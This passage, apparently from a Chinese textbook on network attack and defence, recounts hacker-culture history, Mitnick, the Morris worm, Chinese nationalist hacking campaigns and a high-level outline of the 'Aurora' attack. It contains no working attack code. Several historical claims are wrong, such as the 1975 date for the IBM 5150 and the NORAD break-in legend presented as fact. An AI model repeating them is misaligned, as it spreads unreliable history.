UNIX社區也為UNIX專門設計了一套網路協議——UUCP:一種低速、不穩定但成本很低廉的網路,兩台UNIX機器用條電話線連起來,就可以互傳電子郵件。於是眾多UNIX機器連成了專屬網路Usenet,逐步形成了UNIX文化。1980年,第一個Usenet站點開始交換廣播新聞,借此形成的巨大的分布式電子公告板系統,吸引而來的人數很快地超過了阿帕網。少數UNIX主機也連上阿帕網,UNIX文化與ITS文化也開始接觸和交流,但ITS文化的黑客們覺得UNIX的擁護者都是些什麼也不懂的新手,比起他們那複雜華麗,令人愛不釋手的ITS與LISP,UNIX與C語言簡直原始得令人好笑,簡直是「一群穿獸皮拿石斧的野蠻人」。

在ITS文化與UNIX文化開始交鋒的時候,又有一股新潮流開始風行。1975年IBM公司發布第一台微計算機IBM5150,1977年喬布斯創立蘋果計算機公司,1978年英特爾公司首次生產出16位8086微計算機CPU晶片,1975年比爾·蓋茨從哈佛大學輟學創辦微軟公司,最初在英特爾8080 CPU上開發BASIC編譯器,並在1981年轉入DOS操作系統的開發。微計算機的廉價和發展潛力立刻吸引了另一批年輕的黑客,他們最愛的編程語言是BASIC,由於它過於簡陋,ITS文化的死忠派與UNIX迷們根本不屑用它,更不拿正眼瞧用這種「低級語言」的人。

黑客道近代史——開源軟體和Wintel壟斷聯盟的對決

在1980年前後,在黑客道近古時代,ITS、UNIX和微計算機文化在同時發展,盡管彼此偶有接觸與交流,但還是各玩各的。ITS文化雖然擁有性能最高效的大型機,速度和穩定性最高的阿帕網路,但卻處於日暮西山的境地,ITS賴以生存的PDP-10逐漸過時,三大中心紛紛有人離開實驗室去外面開公司,將人工智能的科技商業化。致命一擊終於在1983年來臨,DEC宣布:為了要集中在PDP-11與VAX生產線,將終止PDP-10的後續機型研發項目——「木星」項目,ITS沒有發展前途了,因為它無法移植到其他機器上,或說ITS的複雜度導致了根本沒人能完全理解它,更別說在其他機器上重新做到了。而伯克利修改過的UNIX在新型VAX機器上跑得很順,在快速成長的微計算機科技下,UNIX文化取代ITS文化的主流地位是遲早的事。

在1982—1983年之間,微晶片和局域網技術猛烈地衝擊著黑客道。以太網和摩托羅拉68000微晶片就是一個潛在的有力組合,眾多公司紛紛組建起來,著手開發第一代我們如今所說的「工作站」。1982年,一批來自史丹佛和伯克利的黑客組建了Sun公司。他們堅信:將UNIX架設在以摩托羅拉68000為基礎的機器上,足可以滿足五花八門的應用軟體所需,可謂是物美價廉之選。他們是對的,其高瞻遠矚為整個業界樹立了楷模。這種工作站的價格,雖然大部分個人用戶依舊無法承擔,但是對於公司和大學來說可算很廉價了,很快將年邁的VAX和其他分時機型取而代之。

而正當UNIX蓬勃發展之際,隨著1984年AT&T違反《反壟斷法》被拆分,UNIX正式成為一個商品。UNIX迷們此時也分裂為免費的Berkeley UNIX(即BSD)與商業的AT&T UNIX兩大陣營,矛盾最後演化成AT&T與BSD之間的官司訴訟,官司一直打到AT&T將自己的UNIX系統實驗室賣掉,新接手的東家Novell公司才和BSD達成合解。這場長達十年曠日持久的戰爭給UNIX和BSD帶來毀滅性的打擊,也催生出黑客道近代史的兩大主角——WIntel商業壟斷聯盟與自由軟體基金會。

從20世紀80年代末期開始,英特爾(Intel)的80′86晶片有巨大的發展,性能快速上升,而成本快速下降,個人計算機的年代就要到來了。市場迫切需要能夠運行在′86晶片上的操作系統,但是UNIX和BSD忙於打官司,都沒有去做移植操作系統這件事。而兩隊人馬成功把握了這個機會,從而改變了計算機發展的歷史。

一隊人馬是比爾·蓋茨領軍的微軟公司,他們推出了Windows操作系統,和互聯網組成了WIntel商業壟斷聯盟,占領了個人計算機市場,賺了上千億美元。

另一隊人馬則是以理查德?M.斯多曼(Richard M Stallman,RMS)為精神領袖的開源軟體社群。斯多曼在1984年史蒂文·利維(Steven Levy)完成的《黑客》一書中稱為「最後一位真正的黑客」,他是麻省理工實驗室的一位領軍人物,Emacs的發明人,極度狂熱地反對將實驗室科研成果商業化。斯多曼著手創建了自由軟體基金會,並致力與創造高品質的自由軟體。他的宏大計劃可謂是20世紀80年代早期黑客文化變遷的縮影:1982年,他開始架構一整套UNIX克隆產品,使用C語言編碼並且讓其可以被自由使用。這便是我們熟知的GNU操作系統計劃(其名稱源自「GNU’s Not UNIX」的首字母遞歸)。GNU很快就成了黑客道活動的主戰場,在以UNIX和VAX為中心的黑客文化中,ITS的傳統精神衣缽被新秀作為精髓承襲下來,並在隨後的十餘年光景裡,黑客道的公共意識形態得以逐步形成和發揚。

然而在20世紀八九十年代IT創業激情蓬勃的年代裡,自由軟體基金會並沒有像預想的計劃那樣找到足夠多的黑客,按照傳統「大教堂」式的軟體開發模式[⑥],推進一個大規模操作系統的開發,直到1996年,斯多曼承諾已久的GNU操作系統——HURD都沒看到影子。

在這個空窗期裡,1992年一位芬蘭赫爾辛基大學(Helsinki University)的學生——林納斯·托瓦茲(Linus Torvalds),使用自由軟體基金會的程序開發工具,開始在一台386 PC上開發了一個自由軟體的UNIX Kernel,他很快地寫好簡單的版本,命名為Linux,丟到網路上分享給大家,並吸引了非常多的黑客來幫忙。

Linux最大的特色,不是功能上的先進,而是全新的軟體開發模式。在Linux的成功前,人人都認為像操作系統這麼複雜的軟體,非得要靠一個開發團隊密切合作,互相協調與分工才有可能寫的出來。商業軟體公司與20世紀80年代的自由軟體基金會所採用都是這種發展模式。Linux則迥異於前者:一開始它就是一大群黑客在網路上一起塗塗抹抹出來的,沒有嚴格的品質控制與高層決策發展方針,靠的是每周發表新版供大家下載測試, 測試者再把bug與patch貼到網路上改進下一版。一種全新的物競天擇、去蕪存菁的快速發展模式。令大夥吃驚的是,東修西改出來的Linux,跑得順極了。1993年年底,Linux發展趨於成熟穩定,能與商業的UNIX一分高下,漸漸有商業應用軟體移植到Linux上,並最終取代了UNIX的地位,成為服務器操作系統的主流。

黑客道,一次次被人預測即將毀滅,卻在商業軟體充斥的世界中,披荊斬棘,篳路藍縷,開創出另一番自己的天地。

1.2.3 黑客道的分化

與任何一個社會族群一樣,由於經濟利益驅動和意識形態等因素的影響,從20世紀80年代開始,傳統的黑客道中也不可避免地出現「害群之馬」,濫用自己所掌握的技術對網路進行危害,另外大量標榜自己為「黑客」的駭客們也很大程度地敗壞了黑客的名聲,新聞媒體在報導計算機相關的犯罪案件時也往往把犯罪者稱為「計算機黑客」,所有這些因素的共同合力使得在黑客這一詞匯逐漸被大眾理解為貶義,而等同於駭客或計算機犯罪者。

之後,為了明確區分這個分化之後的黑客道構成,人們把對社會起積極作用的黑客稱為「白帽子」,包括致力於互聯網安全保障的研究人員,安全廠商/反病毒廠商中的核心技術人員,及遵循黑客精神和道德的獨立研究者等;把對社會帶來負面作用的駭客稱為「黑帽子」(分別對應whitehats和blackhats,依據美國西部牛仔的服飾傳統),包括追求經濟利益的職業計算機犯罪者、計算機領域恐怖分子,以及充滿好奇心但又缺乏責任心的駭客們等;而處於兩者之間的稱為「灰帽子」(grayhats)。

在20世紀八九十年代黑客道分化過程中,出現了如凱文·米特尼克(Kevin Mitnick)、 阿德裡安·拉莫(Adrian Lamo)、喬納森·詹姆斯(Jonathan James)、羅伯特·塔潘·莫裡斯(Robert T. Morris)、凱文·鮑爾森(Kevin Poulsen)等具有傳奇經歷色彩的黑帽子黑客,也湧現出理查德·馬修·斯托曼(Richard M. Stallman)、林納斯·托瓦茲(Linus B. Torvalds)、史蒂夫·沃茲尼克(Stephen Woziak)、蒂姆·伯納斯·李(Tim Berners Lee)、下村勉(Tsutomu Shimomura)等對開源軟體、互聯網、安全技術發展做出重要貢獻的白帽子黑客。

在所有的黑客中凱文·米特尼克是最具傳奇色彩的人物,他被稱為世界上「頭號電腦駭客」,他甚至成為黑客道中最廣為人知的崇拜對象。美國司法部將他描述為:「美國歷史上最有威脅的計算機罪犯」。如果你這還不夠了解他的「成就」:《戰爭遊戲》War Game、《駭客追緝令》Takedown和《自由停工期》Freedom Downtime這幾部關於他的好萊塢電影你應該會很感興趣。

從攻破洛杉磯的公交卡系統坐霸王車開始,米特尼克開始了神奇的黑帽之旅。只有15歲的米特尼克闖入了「北美空中防護指揮系統」的計算機主機,並同另外一些朋友翻遍了美國指向前蘇聯及其盟國的核彈頭數據資料,然後又悄然無息地溜了出來。這成為黑客歷史上一次經典之作。1983年,好萊塢曾以此為藍本拍攝了第一部黑客電影《戰爭遊戲》。米特尼克擁有三次傳奇的入獄經歷,第一次是在16歲時侵入「太平洋電話公司」和聯邦調查局網路系統,並吃驚地發現FBI特工們正在追蹤一名「計算機黑客」——竟然就是他自己!米特尼克惡作劇地將幾個負責調查的特工檔案塗改成了十足的罪犯,但被FBI順著線索找到並逮捕。但當時法律沒有網路犯罪的先例,法院順應「民意」將米特尼克關進了「少年犯管所」——米特尼克成為世界上第一個因網路犯罪而入獄的人。第二次入獄是在1988年因為攻擊大公司網路、盜取DEC軟體再次入獄,被判一年監禁,並且被禁止從事計算機網路的工作。第三次入獄則是黑客道中最經典的一段故事,1993年不踏實的FBI誘使米特尼克再次攻擊網站,以便把他再抓進去。米特尼克雖然上鉤,但畢竟身手不凡,在打入FBI內部後,發現了他們設下的圈套,並在追捕令發出前就逃離了。通過手中高超的技術,米特尼克在逃跑過程中控制了當地的電話系統,這樣他就可以竊聽追蹤警探的行蹤!1994年聖誕節,米特尼克向位於美國加州聖迭戈的超級計算機中心發動攻擊,這一攻擊的對象中包括一個因為米特而成名的人物,即後來人稱「美國最出色的電腦安全專家之一」、在該中心工作的日籍安全專家下村勉。米特尼克從自己手中盜取數據和文件令下村勉極為震怒,他下決心幫助聯邦調查局把米特尼克緝拿歸案。聖誕節後,他費盡周折,馬不停蹄,終於在1995年情人節之際發現了米特尼克的行蹤,並通知聯邦調查局將其逮捕。在單獨監禁了5年8個月後,米特尼克最終幡然悔悟,目前的身份是計算機安全專家、顧問及演講家,著有《欺騙的藝術》和《入侵的藝術》兩本姐妹著作。

1.2.4 黑客道「現代史」

在分化的進程中,黑客道邁入了「現代史」,筆者認為作為分水嶺的標誌性事件是1988年11月2日Morris蠕蟲在互聯網前身阿帕網上的爆發。Morris蠕蟲是第一個通過互聯網傳播的計算機蠕蟲,得到了極其廣泛的主流媒體關注,也導致了美國1986年頒發的計算機欺詐與濫用法令的第一例判罪。

Morris蠕蟲的編寫者是當時就讀於美國康乃爾大學研究生一年級的羅伯特·塔潘·莫裡斯(Robert Tappan Morris,RTM),美國國家安全局(NSA)計算機安全中心首席科學家老羅伯特·莫裡斯的兒子。小莫裡斯可謂出身名門,小時候,小莫裡斯的父親老莫裡斯,曾從NSA帶回一台原始神秘的密碼機,成為一家人的談資,激起了小莫裡斯的強烈興趣。他自己12歲就編出高質量的計算機程序,18歲時,就具有在最負盛名的貝爾實驗室和哈佛大學當過工程師的赫赫經歷。難怪有人感嘆:他的簡歷,簡直像電腦名人錄中的一樣。1988年冬天,小莫裡斯寫了一段只有99行的代碼,按照他自己的說法,目標是去測量當時阿帕網的網路規模,代碼利用了UNIX Sendmail程序、finger程序和rsh/rexec服務中的已知安全漏洞,以及利用從他老爸那裡拿到的弱口令列表攻擊系統的弱密碼。同年11月2日小莫裡斯跑到MIT(湊巧的是小莫裡斯後來真的跑到MIT當教授了)將這段代碼在阿帕網上執行,然而卻發生了連他自己也沒預料到的後果,代碼很快在互聯網中傳播,短短12小時內,大概感染了6000多台UNIX主機(約占當時聯網計算機數的10%),同時計算機可以被多次感染從而創建大量進程最終耗盡系統內容,使得機器完全癱瘓。Morris蠕蟲造成了包括國家航空和太空局、軍事基地和主要大學計算機停止運行的重大事故,據估算,造成的損失金額達1千萬至1億美元。小莫裡斯也最終被追查到和逮捕,並被依據美國計算機欺詐與濫用法令判處3年監禁、400小時社區服務和1萬美元罰款。

Morris蠕蟲也宣告了全球互聯網進入與安全威脅共舞的時代,催生了全球第一個安全應急響應組織CERT/CC。

早在1988年Morris蠕蟲中就已經利用的緩沖區溢出攻擊技術,借助Alphe One在1996年Phrack第49期上的文章Smashing The Stack For Fun And Profit,在黑客社區中得到了廣泛全面的普及,並在1998年由Dildog在其文章The Tao of Windows Buffer Overflows中引入了從系統DLL中尋找「JMP ESP」完成指令寄存器跳轉的技術,解決了Windows平台上的緩沖區溢出漏洞難以利用並加載遠程執行代碼的難題,從此針對在個人計算機主流的Windows操作系統平台的蠕蟲和病毒攻擊層出不窮,2001年由於紅色代碼等知名蠕蟲的泛濫被稱為蠕蟲年,而2003——2004年蠕蟲爆發的次數和影響範圍又進一步擴展,對互聯網網民造成了難以可能的災難。

1998——1999年聲明顯赫的黑客組織「死牛崇拜」發布了Back Orifice和升級版BO2K木馬,從此木馬程序被不斷地發展,花樣更新,泛濫成災。2000年,在三天的時間裡,攻擊者使用了一種新的攻擊手段——分布式拒絕服務攻擊,使美國數家門戶網站——雅虎、亞馬遜、eBay、CNN等陷入癱瘓。2000年前後,僵屍網路開始出現,攻擊者引入了一對多的命令與控制機制,能夠隨時隨地的控制成千上萬台傀儡主機,掃描傳播、拒絕服務、竊取隱私、發送垃圾郵件,他們可以指揮龐大的僵屍軍團為所欲為。2005年前後,網頁木馬成為一種新的流行趨勢,通過攻擊客戶端瀏覽器安全漏洞感染主機植入惡意木馬程序。與此同時,黑客地下經濟鏈得以逐步形成和蓬勃發展,由經濟利益驅動,大量黑帽子個人、團隊甚至公司開展各種類型的計算機犯罪和濫用。最為臭名昭著的是RBN(Russian Business Network),一家多方面參與計算機犯罪的組織,特別是在盜竊個人隱私信息方面,RBN還是網頁木馬工具包MPack的起源地,以及Storm僵屍網路的背後操縱者。

Morris蠕蟲及之後蓬勃發展的各類網路安全威脅,也促使網路安全產業的形成與蓬勃發展。目前網路安全領域最著名的一些國際公司都是在20世紀90年代初期成立,研發出了網路安全的「老三樣」(防火牆、入侵檢測與反病毒)技術和產品,以滿足市場的需求。

防火牆技術最早出現在1988年,DEC的工程師們提出了包過濾防火牆技術,並發表了論文,AT&T貝爾實驗室的Bill Cheswick和Steve Bellovin繼續相關研究並做到了可用系統。1989—1990年貝爾實驗室的另外三位同事Dave Presetto、Janardan Sharma和Kshitij Nigam研發了狀態防火牆技術。而成立於1993年以色列的Check Point公司成功地基於狀態防火牆技術研發做到了FireWall-1產品,並成為了防火牆市場的領軍企業。入侵檢測技術雖然在學術界早在1980年就由安德森提出,但直到1994年Wheel Group和ISS公司才真正將該項技術進行商業化,其中最為著名的IDS產品是ISS的RealSecure,Wheel Group在1998年被思科(Cisco)並購,而ISS公司也在2006年被IBM收入麾下。從事反病毒軟體研發的最早的國際化公司包括20世紀80年代中期成立的諾頓(Norton,1990年並入Symantec),1987年成立的MacAfee以及1997年成立的卡巴斯基(Kaspersky)等。

黑客道的白帽子們,雖然數量上比黑帽子和灰帽子要少很多,但他們仍然在默默地奉獻著,在為計算機與網路技術的發展、安全技術的進步進行不懈的努力。2007年《IT安全》雜誌評出了信息安全領域最具影響力的59個技術專家和團隊,其中的白帽子黑客包括如下。

Fydor

Fydor,戈登·裡昂(Gordon Lyon)的黑客網名,由於開發Nmap——一個開源的網路探測和安全審計工具而聞名。

蜜網項目組(The Honeynet Project)

由Lance Spitzner所主管的蜜網項目組團隊,開源研發了一系列的蜜罐與蜜網技術和工具,並通過捕獲數據對惡意攻擊者行為進行深入研究,通過《了解你的敵人》系列白皮書、取證分析挑戰等多種方式對黑客社區做出貢獻。

馬克·拉希諾維奇(Mark Russinovich)

馬克·拉希諾維奇是Windows體系架構和編程方面的技術專家,Sysinternals網站站長,他發現了Windows各種不同版本中的內部做到差異,著有Windows Internals等著作,他也在2005年發現並揭露出了著名的Sony Rootkit事件。

凱文·米特尼克(Kevin Mitnick)

聞名於世的米特尼克曾由於他的黑帽子攻擊行為而多次入獄,但在他第三次從獄中釋放後已經改邪歸正,重新作為一名白帽子,開創他自己的安全公司——sMitnick 安全咨詢公司。

下村勉(Tsutomu Shimomura)

下村勉,一位日籍計算機安全專家,由於和計算機新聞記者John Markoff合作,跟蹤並幫助FBI逮捕米特尼克而聞名,並在1996年寫了一本名為Takedown的書,回顧了這一著名案件的全過程。

Solar Designer

Alexander Peslyak (也就是Solar Designer) 是一位俄羅斯的安全專家,以他的滲透攻擊技術及安全審計工具而知名。他是OpenWall項目(一個服務器安全增強的操作系統)的創始人。

Michal Zalewski

Zalewski是一位波蘭出生的安全專家,從20世紀90年代中期就開始他的白帽歷程,他在BugTraq上發布他所發現的安全漏洞,他也為UNIX操作系統編寫了多款開源軟體,並最近寫了一本暢銷書:Silence on the Wire:A Field Guide to Passive Reconnaissance and Indirect Attacks。

凱文·鮑爾森(Kevin Poulsen)

鮑爾森是Wired News的編輯和博主,改邪歸正的前黑帽子黑客,他編寫了一段1000行的Perl腳本,從MySpace中找出了註冊的700多名性犯罪者,其中包括紐約的一個戀童癖連環強姦犯,最終警方根據鮑爾森提供的信息對其進行了成功的抓捕。

H. D. Moore

Moore在2003年創立了Metasploit項目,幫助白帽子黑客進行滲透測試及攻擊研究,他開發的Metasploit滲透測試軟體是目前黑客道最強力的滲透攻擊開源軟體。

大衛·梅納爾(David Maynor)

Maynor是SecureWorks的資深研究員,他的職責包括安全漏洞挖掘、攻擊技術研究與評估以及防禦機制的研發。2006年他演示了如何通過無線互聯網連接中的弱點攻入蘋果的MacBook。

SANS Internet Storm Center

SANS Internet Storm Center(SANS ISC)於2001年在對Li0n蠕蟲進行了成功的檢測、分析和廣泛預警之後被創建,如今ISC從分布於50多個國家覆蓋50多萬個IP地址的傳感器每天收集幾百萬條入侵檢測日志記錄,為成千上萬的互聯網用戶和組織提供免費的分析和預警服務,並主動與各大互聯網服務提供商(ISP)合作,對付最為惡意的網路攻擊者。

1.2.5 中國的黑客道

如同計算機技術和其他現代科技一樣,中國的黑客道源自於歐美西方國家,但與世界先進國家始終存在著較大的技術差距,這是我們不得不承認的現實,也是激勵年輕一代的動力。

中國黑客道的發展歷程可以分為史前期(1956—1994年)、萌芽期(1994—1999年)、混沌發展期(1999—2001年)以及成熟發展期(2001年—)四個階段。

史前期(1956—1994年)

1956年周恩來總理在《十二年科學技術發展規劃》選定了計算機技術作為發展規劃的四項「緊急措施」之一,並制定了計算機科研、生產、教育發展計劃,中國的計算機事業由此起步,而中國的黑客道也與計算機技術一同發源。從1956—1967年,大陸老一輩的計算機科學家和工程師,也是中國黑客道的第一批真程序師,自力更生,從零開始,在電子計算機和操作系統上取得了一次又一次突破,雖然機器的性能和穩定性較發達國家存在一定的差距,但如同當時的「兩彈一星」工程一樣,在不斷地縮小與國外的技術差距。然而不幸的,1966年開始的文化大革命完全打亂了計算機技術的發展軌跡,也葬送了中國黑客道的黃金髮展期。

1974年仍處於文化大革命的十年浩劫中,但在1973年出山掌權的「總設計師」鄧小平提出「科學技術是第一生產力」的背景下,及在周恩來總理的關懷下,大陸重新啟動計算機技術的研究,首先需要急迫解決的是漢字的計算機信息處理問題,從而使得古老的中國文化能夠跟得上高科技發展的步伐。1974年8月,大陸設立了國家重點科技攻關項目「漢字信息處理系統工程」,簡稱748工程。748工程引發了大陸報業和印刷業的一場計算機技術革命,催生了北大方正、華光等一批明星企業,也最終促使中國傳統文字「淘汰鉛與火,迎來光與電」。作為748工程的主體部分——電子出版系統技術的奠基人王選教授表示:「748工程對於漢字信息處理與計算機的接軌這一世界性難題是個超越」。在2000年由中國工程院等單位組織的「20世紀大陸重大工程技術成就」評選中,王選教授主持的「漢字信息處理與印刷革命」項目名列第二位,僅次於「兩彈一星」。王選教授也獲得了2001年度國家最高科學技術獎,這正是國家對這一發明的充分肯定。

1978年進入改革開放的新時代,中國的計算機和軟體技術與產業也呈現快速發展的勢頭,1977年清華大學等單位研制成功第一台微機;1983年國防科技大學研制成功運算速度每秒上億次銀河-I巨型機;1985年,電子工業部計算機管理局研制成功與IBM PC兼容的長城微機;1993年曙光公司前身國家智能計算機研究開發中心研制成功曙光一號全對稱共享存儲多處理機,第一台基於超大規模集成電路的通用微處理器晶片和標準UNIX操作系統設計開發的並行計算機。與此同時,市場經濟也推動了中國軟體產業的發展,1988年,求伯君來到深圳,開始研發中國首款字處理軟體WPS,金山軟體的歷史就此展開。除了求伯君之外,還誕生了許多在中國軟體史上有篳路藍縷之功的軟體英雄。比如嚴援朝在1983年推出CCDOS,走出了操作系統中文化的關鍵一步;王永民在1983年發明「五筆字型」;「殺毒軟體之父」王江民於1989年推出殺毒軟體KV6,等等。雖然這個階段大陸的計算機技術得到了長足的發展,但遺憾的是,無論從硬體方面的核心晶片技術,還是軟體方面的操作系統和數據庫等核心軟體,大陸均處於缺失和極度落後的狀態。

而在1987年之前,中國還沒有接入已經快速發展和壯大的互聯網,計算機科技工作者們還是處於與世隔絕的狀態。1987年北京計算機應用技術研究所實施的中國學術網(Chinese Academic Network,CANET)項目建成,錢天白教授發出了中國第一封電子郵件:「越過長城,走向世界」。1988年,中國科學院高能物理研究所採用X.25專線,做到了國際遠程聯網。而中國正式全面接入互聯網則是在1994年,高能物理所的許榕生研究員接入了第一條互聯網線路,並建立起了中國第一個WWW網站,被稱為「中國互聯網先驅」。

萌芽期(1994—1998年)

中國黑客道在1994年互聯網進入中國後終於開始出現,但最早的一批黑客是以「竊客」的身份出現的,對於這些竊客來說能夠COPY到國外的最新軟體是他們最大的榮幸,那一張張的小軟盤中承載了中國黑客最初的夢想。除了竊客以外,在中國也曾出現電話飛客,但是由於程控交換機的出現,飛客很快地成為了歷史。

1997年在中國互聯網發展史應該是最為值得紀念的一年,而在中國黑客成長過程中,這一年也哺育了眾多的初級「黑客」,互聯網這一個名詞也逐漸被大眾接受。1998年美國「死牛崇拜」黑客團隊發布的「Back Orifice」推進了特洛伊木馬這種黑客軟體的飛速發展,也刺激了中國黑客道的進一步發展,中國黑客道開始出現少量的國產黑客工具,包括NetSpy等,並開始小範圍地流行於國內黑客之間。CIH病毒的誕生和大規模發作也讓大陸黑客第一次感受到了來自海峽對面的野心與威脅。

1998年印尼排華事件使得一大批網友投身黑客活動中,極度地擴大了中國黑客道的力量,同時這件事件也使得「綠色兵團」這一黑客團隊享譽中國互聯網,成為國內第一個著名的黑客組織,也最終通過商業化造就了業界著名的中聯綠盟公司。

混沌發展期(1999—2001年)

從1999—2001年,中國的黑客道得到飛速發展,出現了流光、溯雪、亂刀(小榕軟體)、冰河、黑洞、灰鴿子、YAI等眾多國產黑客軟體,也湧現出安全焦點、看雪學院、補天等一批白帽子團隊,第一批中國黑客也開始他們的創業之路,創立了一些知名安全公司如安絡科技、補天和瑞等。

這段時期是中國黑客道最不平靜的時期,也是快速發展階段中一個比較混沌的時期。1999年4~5月以美國為首的北約以種種借口對南斯拉夫塞爾維亞共和國發動了戰爭,隨後的日子裡中國人民在各種媒體發表了對正義的聲援,網路上更是掀起了對美國霸權主義的批判浪潮。但是就在同年5月,美國的轟炸機竟悍然轟炸了大陸駐南聯盟大使館。消息一經傳出,舉國上下為之震驚與憤怒,中國黑客們也又一次大規模的團結了起來,紛紛開展了對美國網站的攻擊。中國紅客從此成為了世界黑客中特殊的一個群體,愛國與團結是他們永恒的精神理念。然而這種被愛國熱情所激發的網路攻擊行為雖然「師出有名」,但其過程往往陷於與駭客行為無異的網站破解與拒絕服務攻擊,從某種角度來說對中國黑客道按照良好軌跡發展並無多大益處。這種「運動式」的網路攻擊行為也在這段時期內不斷地上演:1999年7月,中國台灣地區的李登輝突然拋出了兩國論,海峽兩岸局勢頓時緊張,中國紅客們又「沖上前線」,攻擊了中國台灣行政院等網站,並給許多中國台灣服務器安裝了木馬程序;2000年「東史郎南京大屠殺」事件的敗訴再次激起一些中國紅客的民族主義情緒,發動了針對日本網站的攻擊,也對一些中國台灣網站發起攻擊;2001年三菱事件、日航事件、教科書事件和《台灣論》事件再次激怒了一些中國紅客,由國內幾個黑客網站牽頭,組織了幾次大規模的對日網路攻擊行動;這種由愛國熱情和民族主義所驅動的紅客運動,在2001年4月「中美撞機事件」及之後美國PoizonBOx黑客團隊率先挑釁的觸發下達到了極致,5月假期期間一場轟轟烈烈的所謂「中美黑客大戰」爆發,在「中國紅客聯盟」、「中國黑客聯盟」、「中國鷹派」等較知名的黑客團體的組織下,許多中國紅客以及一些湊熱鬧的偽黑客們大規模地向美國網站展開攻擊,也使得中國安全防護脆弱的網站遭受了來自大洋彼岸的報復。

雖然在這些由外部地緣政治和時事等因素引發的多次所謂「網路衛國戰爭」的歷練中,中國黑客道汲取了國外(特別是美國)黑客的技術精華,並創建出具有一定中國特色的紅客文化。但這個階段中國黑客道可以說並不成熟,由於外部政治誘因而主動引發或被動對另一國家/地區進行大規模的攻擊事件與傳統的黑客精神並不相符,而最終對中國黑客道的國際形象乃至中國的和平崛起之路造成了一定的負面影響。

2002 年日本首相小泉純一郎在沒有任何徵兆的情況下突然參拜靖國神社,而中國的紅客們又蠢蠢欲動,計劃再次在「五一」期間組織對日本網站進行大規模攻擊,中國互聯網協會與計算機網路應急協調中心發布了《關於防范與制止網路攻擊行為的公告》,經過溝通,5 個黑客組織團體(正式報導稱「自發的民間非正式網路團體」)公開聲明放棄擬定中的五一攻擊計劃,自此之後,中國黑客大規模的對外攻擊沒有再出現,中國黑客道也進入了較為成熟的發展期。

成熟發展期(2001年—)

經過隨後的反思,中國黑客道精神開始逐漸成熟,眾多黑客紛紛回歸網路安全技術的研究,創辦自主知識產權的安全公司並投身於安全漏洞的發現、眾多安全技術和軟體的研發,一些繼續存在的黑客團隊如安全焦點、白細胞、Ph4nt0m等也均專注於技術的研究和交流,國內黑客對大陸自主知識產權的信息網路安全技術發展做出了重要的貢獻。國際著名的黑客技術研討會如Blackhat、CanSecWest、CCC和著名黑客雜誌Phrack等也開始出現國內黑客的身影。

除了這一主流的黑客文化外,由於經濟利益的驅動,國內近年來也出現了大量的職業計算機犯罪者,他們利用目前國內法律體系的漏洞,通過編寫惡意程序、盜號木馬、構建僵屍網路以及網站掛馬等方式侵入廣大互聯網用戶的計算機中,盜取網遊帳號裝備、QQ帳號、QQ幣等網路虛擬資產,並構建了完整的地下經濟鏈,從而牟取暴利。2006年年底轟動一時的「熊貓燒香」案件和2007年的灰鴿子事件均表明,國內黑客社區中由經濟利益驅動的職業計算機犯罪正在蓬勃發展,也成為目前計算機犯罪執法和安全應急響應部門關注和遏制的重要對象。

1.3 網路攻防技術介紹

2010年新年伊始,中國互聯網安全領域事件頻出,或許注定了這個新十年中國和平崛起之路又將面對艱難險阻和坎坷歷程。先是1月12日百度由於baidu.com域名在美國域名註冊商處被非法劫持篡改,導致百度首頁「被黑」致使大量中國網民不能正常訪問。一波未平、一波又起,第二天Google官方發布博客聲稱遭受源自中國的網路攻擊,並不願再對搜尋結果進行過濾,並將可能關閉Google.cn和Google中國。

之後McAfee、賽門鐵克(Symantec)、HB Gray等安全公司受美國政府委托,對攻擊事件進行調查,並發布了調查結果,揭示出Google等公司遭受的是行動代號為「極光」的攻擊事件。在攻擊過程中:①攻擊者首先向Google等公司的職員發送帶有惡意鏈接的欺騙郵件,誘騙他們單擊;②由於他們使用的微軟IE瀏覽器中存在「極光」零日安全漏洞,因此在訪問惡意鏈接時會被滲透攻擊,並植入惡意木馬程序;③木馬程序以加密偽裝的方式連接控制服務器,接受攻擊者控制指令;④攻擊者控制受控主機,進一步通過電子郵件中信任關係構建Man-in-the-Mailbox攻擊,誘騙更多的公司職員訪問惡意鏈接,並植入木馬;⑤木馬程序通過嗅探技術竊取關鍵知識產權資料。

本節將從「極光」網路攻擊事件引出網路攻防的技術體系框架,對網路攻擊的基本路徑圖進行簡要概述,期望讓讀者能夠對網路攻防技術建立起一個基礎的宏觀視圖。

1.3.

1.3.1 網路攻防技術框架

按照筆者的理解,網路攻防的基礎技術體系框架如圖1?8所示:網路攻防的主要內容包括系統安全攻防、網路安全攻防、物理攻擊與社會工程學三部分,而在「極光」這一著名的網路攻擊事件中,我們可以發現這三類攻擊技術形態的具體實例:

網路攻防技術與實踐

圖1?8 網路攻防的基礎技術體系框架

(1)利用軟體安全漏洞的系統攻擊,「極光」事件中最核心的攻擊過程即利用了IE瀏覽器中的零日安全漏洞,對客戶端實施攻擊並植入惡意木馬;

(2)利用協議安全缺陷的網路協議攻擊,如利用電子郵件協議身份認證缺陷發起的Man-in-the-Mailbox攻擊、竊取知識產權敏感資料的網路嗅探等;

(3)利用人性弱點的社會工程學攻擊,在「極光」事件中第一步攻擊者即利用了社會工程學手段誘騙職員點擊郵件中的惡意鏈接。

物理攻擊與社會工程學

物理攻擊與社會工程學主要利用信息系統所處物理環境、使用的硬體以及所涉及的人存在的安全弱點,通過物理入侵或人際交流,達到攻擊信息系統目標的攻擊方法。物理攻擊與社會工程學的存在基礎是物理環境與硬體的設計缺陷,以及人性與生俱來的心理弱點。現階段熱點威脅——互聯網欺詐也主要採用了一系列的社會工程學攻擊手段。但物理攻擊與社會工程學的底層原理和具體技術已超出了計算機領域范疇,依賴於工程技術、心理學等多領域的知識及經驗,因此本書僅在1.4章節中將對物理攻擊與社會工程學進行簡要地介紹。

網路安全攻防

網路協議攻擊是利用網路協議在設計時存在的安全缺陷或不安全因素。互聯網的基礎網路協議——TCP/IP協議棧在20世紀七八十年代出現和投入使用時,是按照在開放和彼此信任的群體中使用進行設計的,並沒有考慮對惡意攻擊的防禦能力,因此在互聯網進入大規模普及應用後,隨著大量具有特殊目的惡意攻擊者的出現,TCP/IP協議棧中存在的大量安全問題被揭露出來,並被惡意利用以達到攻擊目的。

目前TCP/IP協議族在不同網路層次上都面臨著一些網路協議攻擊,具體包括如下。

(1)網路接口層:無論有線網路普遍使用的以太網協議,還是無線網路的主流WiFi協議,都基於廣播方式,存在被網路嗅探器(Sniffer)竊聽的風險。

